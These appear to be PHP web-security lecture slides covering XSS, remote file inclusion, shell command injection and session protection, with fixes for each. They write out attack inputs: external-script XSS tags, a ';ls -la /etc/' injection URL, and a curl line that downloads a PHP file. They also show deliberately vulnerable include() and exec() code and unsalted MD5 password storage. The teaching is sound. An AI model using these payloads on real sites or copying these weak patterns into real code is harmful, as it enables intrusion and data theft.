Survey
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
Security Issues
General Considerations
Security is a hot topic
Security discussions are full of jargon
Zero Day Exploit
Pen testing
Hacker
Pharming
Injection
malware
DOS
Serious issue, but lots of FUD
Start by thinking
about where you are
exposed
Filesystem
Multiuser systems
PHP codes executes as the web server, with the web
server's permissions
This means any file that you write via PHP might be
writable by other users (either via PHP or a CGI
program)
Any file that's readable by the web server is readable
by others via the web server, even if the server won't
serve them to a browser directly
Often web pages are world readable
Forms
You're also exposed whenever you
request data from a user
A user may give you data you don't expect or
want
Depending on how your program handles the
data, this can have a variety of results
Your data on the server could be affected
Other users' browsers could be affected
Other Vectors
This is an aside….
Services such as ssh and mysql
Firewalls
DMZ
Bind to different ip addresses
What you do from the server
Where the server is located--physical
security is key
Consider where you want to
put your security measures
For example, in this class I'm trusting you
all a lot, as a group, not to trash machines
In MySQL, you can either use the
database to secure data, or PHP, or both
Both is hard to do…
In some cases, restricting access to a
domain is enough, in other ids are better
Balance
Security is like a seesaw, with whitehats
and blackhats on the ends
What's the most secure OS?
Where is the threat coming from these
days?
Categories of Hacks
Data that is inserted into code that is
displayed on your pages
Data that is inserted to alter your data
Holes that can be exploited to run arbitrary
commands
Display Hacks
Targets are bulletin boards, blogs that
allow comments, wikis, web forums-anything that allows users to input text that
will be displayed
At best, you might get random stuff
showing up on your web pages
At worst, users could be "captured" and
whisked away
Builtin Security
PHP does try to protect us, but sometimes
that protection causes it's own problems
I'm going to run through a series of
examples, showing some simple insertion
techniques, and the approaches to stop
them
Magic Quotes
An example of trying to do good in a bad
way….
In the Beginning
As PHP became more popular, attacks against it
became more common (why would this be the
case?)
Around PHP 3, it was in widespread use, but
had very few security features out of the box
In particular, it did nothing to affect data input by
forms
Version 4.2.3
To make PHP safer, version 4.2.3 included
magic quotes enabled by default
Magic quotes performs the same function as
add_slashes(), but only on any GET, POST or
cookie data--that is, it escapes any ',",\, or NULL
characters, in an attempt to prevent folks from
inserting command strings into php
It works ok, for what it's trying to do, but isn't a
complete solution…
So how does it work?
Magic quotes will try to protect us a bit if
someone inserts something like:
<b>Alert!</b><p>Your account has been
compromised, please <a
href="http://www.cs.unc.edu">click here for
further information</a></p>
echo_string_noslash.php
This file defeats magic quotes and echoes the
$_GET["string"] var without alteration
<b>Alert!</b><p>Your account has been
compromised, please
<a href="http://www.cs.unc.edu">click here for
further information</a></p>
Calgon, take me away
One can also insert code that moves the
user from your site:
<script type=text/javascript>window.location =
"http://www.duke.edu";</script>
With magic quotes
echo_string.php doesn't defeat magic
quotes
Can't trust browsers anyhow
So with magic quotes if the hacker uses well
formed HTML, we're ok
But what if I put this in:
<b>Alert!</b><p>Your account has been compromised,
please <a href=http://www.cs.unc.edu>click here for further
information</a></p>
Or this:
<img src=http://cutedeadthings.com/images/skull-pinktm.png>
The browser is trying to be helpful…
Look at the source
We don't need no quotes
Even worse, we don't need quotes to call
for an external javascript
This means we can insert pretty much
anything we want into the page:
<script
src=http://127.0.0.1/INLS672/samples/php/
security/javascript_hack.js></script>
This last example
Cross site scripting (XSS) generally
involves getting data into a web form that
produces HTML for display, and use that
to call an external script to perform a
malicious action
This is often done with javascript, but can
be done with other languages
Older versions of IE were prone to attack
in this manner because of ActiveX
Are Magic Quotes AGT?
Some say that magic quotes are bad
when enabled, it can make it more difficult to
get the data you the way you want it
Produces a false sense of security, since
programmers should check user data anyway
But it does protect against the most common
attacks such as insertion of javascript
But folks hated it enough that it's off in PHP 6
And that's the worst of it--if you want to write
portable code, you have to check for it
Detecting and Defeating
Magic Quotes
This is not very efficient
<?php
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
?>
from http://us.php.net/manual/en/function.stripslashes.php
It's up to you
For many samples of XSS attacks, see:
http://ha.ckers.org/xss.html
Simple Sanitation
In this case, we're going to use
htmlentities(), htmlspecialchars() and
strip_tabs() to affect the user's input
see echo_string_checks.html
Be aware that this is mainly a browser
protection…
Blacklist vs. Whitelist
What we've looked at so far are examples
of blacklisting--trying to spot evil input
Whitelisting is more secure--figure out
what you want, and only allow that
Using regex
Decide what you're willing to accept
Check the user input for that
if (eregi("^[a-zA-Z0-9]{0,}$", $_GET['string']))
// The regex above checks every char starting with 0
{
echo "String is: " . $_GET['string'];
}
else
{
echo "<p>Illegal characters detected</p>";
}
echo_string_clean.html
This is the same form, but passes data to
a php script with the regex code
This approach has advantages
Futureproof
Doesn't require you guess what the hacker
might try
On error, doesn't process the data at all
Downside is it's harder to get data through
Arbitrary Commands
Basically, this is the worst kind of attack
Cracker finds a hole that allows a
command to be executed
Most often that happens at the privilege
level of the web server
In some cases, it can be an elevated
privilege (rare on linux, not so rare on
windows under pre-vista installations)
Includes and Requires
It's pretty common to use an include or require to pull
files into a core script
This is a potential vector for a XSS attack, since PHP
doesn't care if the file included is remote or local
Be careful with these--if you pass file to be included into
your script with a GET or POST, a hacker can run a
script of their own through yours
magic_quotes do not protect against this
It's one of the ways I've been hacked
include $_GET['file'];
How I've Been Hacked
I created a simple PHP file that included other
files with a GET reference
This allowed me to call files elsewhere on the
server inside my frame program, and control the
display if the file were a text file or html
I did not check the data being passed
The hacker passed a reference to a file on their
system, that ran a perl script creating an email
relay on our web server, and then passed email
through the web server to our smtp server, which
accepted all of the spam, since it came from
within cs.unc.edu
The File
http://wwwx.cs.unc.edu/help/network/fram
e.php?
The problem line was:
include($_GET[name]);
The Fix
Changed include() to readfile(), the latter
doesn't process code, just reads it to
output
Added a check for "//" for remote access
urls
Added a hook to send email to me when
tapped
Attacking the server
Since PHP can pull data about the server,
it can be used to find out about the
server's configuration (esp. the web
server)
More dangerous is the ability to access the
shell You should be careful with any data
that will be passed to a shell script with
back ticks, exec(), or shellexec()
Unguarded GET or POST
In this case, the GET
variable is passed
directly into a shell
exec
We know that shell
script lines
terminated in a ";"
So a command can
be passed in the
variable, by inserting
a semi-colon
$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
This example from http://www.sitepoint.com/article/php-security-blunders
Unguarded GET or POST
An example of a get URL:
http://127.0.0.1/php/security/unguarded_g
et.php?month=9;ls -la /etc/
This would be passed to the web server,
and executed with it's permissions, so it's
a better vector for reads than writes
But any directory that the web server could
write to could be tapped….
This example from http://www.sitepoint.com/article/php-security-blunders
Unguarded GET or POST
Ok, so let's say this file sits in a directory
that the web server can write to (say for a
user comment file, or a log, or….)
Then a hacker could pass something more
malicious, eg:
curl http://www.cs.unc.edu -o myfile.php
Unguarded GET or POST
The author
recommends using
a regular
expression to
check that the
input is solely
numbers, and of
the correct length
$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month))
{
die("Bad month, please re-enter.");
}
if (!preg_match("/^[0-9]{4}$/", $year))
{
die("Bad year, please re-enter.");
}
This example from http://www.sitepoint.com/article/php-security-blunders
06_mysql_submit.php
I'm pretty much a failure hacking MySQL so
far…
But using the lab as an example, here are some
things you can insert into the db
<a href=\"http://www.cs.unc.edu\">
Wonk</a>
<img src=/PoweredByMacOSXLarge.gif>
It's restricted by the number of characters
allowed in the field, but you get the idea
Additional Considerations for
MySQL
Don't use unrestricted privileges for
database connections (do as I say, not as I
do)
Either have the user supply a user id and
password, or use a restricted account
Use a mysql account that is limited and
appropriate for the given task
General Server
Settings
register_globals
register_globals, when on, allows php full access
to all variables directly
In my examples, I've accessed GET and POST
data via the server global array even when not
necessary
With it on, $_GET["variable"] is the same as
$variable in php
This gives a hacker a chance to inject data into
unprotected variables into your script, say into a
session variable
So check to see that it's off
open_base_dir
The default is to allow php to open any
files, this setting can be enabled to restrict
what directories php can access
With a setting of ".", the tree is restricted to
the folder of the script itself, or lower
Can be set for virtual servers in apache
Keep in mind that this setting only affects
php, any shell scripts you use have full run
of the directory tree
What can you do?
(Panic?)
Protect your code
In the class pages, I've made the source code
visible over the web
This is something to avoid in general--it's easier to
hack a site if you know the source
Hide configuration files and data
Restrictive .htaccess files
Use cron based shell scripts to whisk data away
Keep data and config files separate from scripts
Use a sealed db server
Hiding files
Files with a "." as the first character are
readable by PHP, but won't be served by a
web server
Depending on the server configuration
(such a the web server's FollowSymLinks
setting, or PHP's open_base_dir setting),
you may be able to store data files in
areas that the web server won't serve up
.htaccess files
Disallow directory listings
You can also use a blank index file
Restrict access by user id or by domain
See http://www.htaccessbasics.com/
Directory Structures
Keep data files in one directory,
configuration files in another, and scripts in
a third
You may need to put the data and config
dirs inside the scripts folder, but you can
use an .htaccess file or other methods to
control access
For example, write permissions or afs acls
Open versus Sealed servers
Be aware of who else is on your server
Remember that the web server has to
have read privileges--if I'm on the same
server, I might be able to use a cgi to see
your source code
Consider a "sealed" server for critical data
Finding Hacks
Run a hash on your scripts to check for
mods--there are lots of freebie programs
that can do this for you and alert you to
changes
Tripwire is one example, but it's a
complicated thing
Watcher
Keep Cookies in the jar
PHP sessions
can store data
in cookies as
well as server
side--best not
to do this
unless the
data's not
sensitive
QuickTime™ and a
decompressor
are needed to see this picture.
Keep Cookies in the jar
Some browsers (ie for example) have
historically been prone to cookie theft
So if you store sensitive data in a cookie,
salt and encrypt it (hash is always better
with salt anyway)
Control Session Data
In the examples for class, I've used a
session to store data across forms
Session data is usually in /tmp or /var/tmp
Since the web server can read these, so
can any else on the server who can write
web scripts
Protecting Session Data
To reduce the chance of hijacking, use a
combination of data--for example, check
not only the session key, but also the ip
number (consider storing that in post data
or a text file)
Encrypt any sensitive data stored in the
session
cookie_monster.php
Better Still
Generate a random key on each page
load
Check other data, such as the client ip
number or browser version and track that
as well
Store data in multiple places and compare
(eg. some data in the session, some in a
cookie, and even some in a database or
file)
Hash is good for you
I've mentioned this a few times, but you
can use hashes of data as a security
measure, esp. for passwords
What is hash really?
createLogin
This is some code I used for a faculty
application site
Users created a login with their email
address as an id
Passwords stored in a text file, as an MD5
hash
create_login.php
This is a simple php script that calls some
HTML into itself, and uses a jah like
function to test the data submitted by the
user--this check has a php backend, so
the javascript check and the subsequent
php check are the same
All it does for the password is run it
through md5
create_login.php
As the form is submitted to itself, after
some checks, the post data is shoved into
an array, and written to a file
The hash would be better with a salt
$new_entry[id] = trim($_POST["get_id"]);
$new_entry[passwd] = md5(trim($_POST["get_passwd"]));
$new_entry[key] = $_SESSION['session_key'];
$new_entry[created] = $runtime;
$new_entry[status] = "new";
write_data_file($new_entry, $id_data);
submit_application.php
After the id is created, or when a user
returns, they land on
submit_application.php
This asks them for the userid and
password on the first pass
On the second pass, it checks the userid
and data in the post
submit_application.php
Notice md5_match_array_element()
$ids_file = read_data_file("./config/userids.txt");
$test= md5_match_array_element($ids_file, "id",
$_POST["id"], "passwd", $_POST["passwd"]);
if ($test > 0)
{
$action="submit_application: login_failure";
require './logger.php'; // call the program to write out log entries.
die_cleanly("<div id=\"notice\"><p>Invalid User ID or password,
if you feel you have received this message in error
please contact
<a href=\"http://www.cs.unc.edu/cgi-bin/mailcs?hays\">
bil hays</a></p></div>");
}
md5_match_array_element()
function md5_match_array_element($array, $array_key,
$get_key, $array_element, $get_element)
{
foreach ($array as $i)
{
if ($i[$array_key] == $get_key)
{
if ($i[$array_element] != md5($get_element))
{
return "1";
}
return "0";
}
}
return "2";
}
Use of hashes
A hash can be used to check a value
presented against a prior value
Or to detect file changes--if you write a big
chunk of code, you can run a hash on the
files or the tarball. When you check the
files against the hash, you can detect a
change
Final points
Keep Up To Date
Update your PHP installation regularly,
and check the php.ini settings when you
do
Create and check log files in your php
programs (consider automating this with a
cron)
Read--there are web sites and discussion
lists that cover these issues--many are a
bit histrionic, but you get good ideas
anyway
http://nexodyne.com/
http://www.codehelp.co.uk/php/taint.php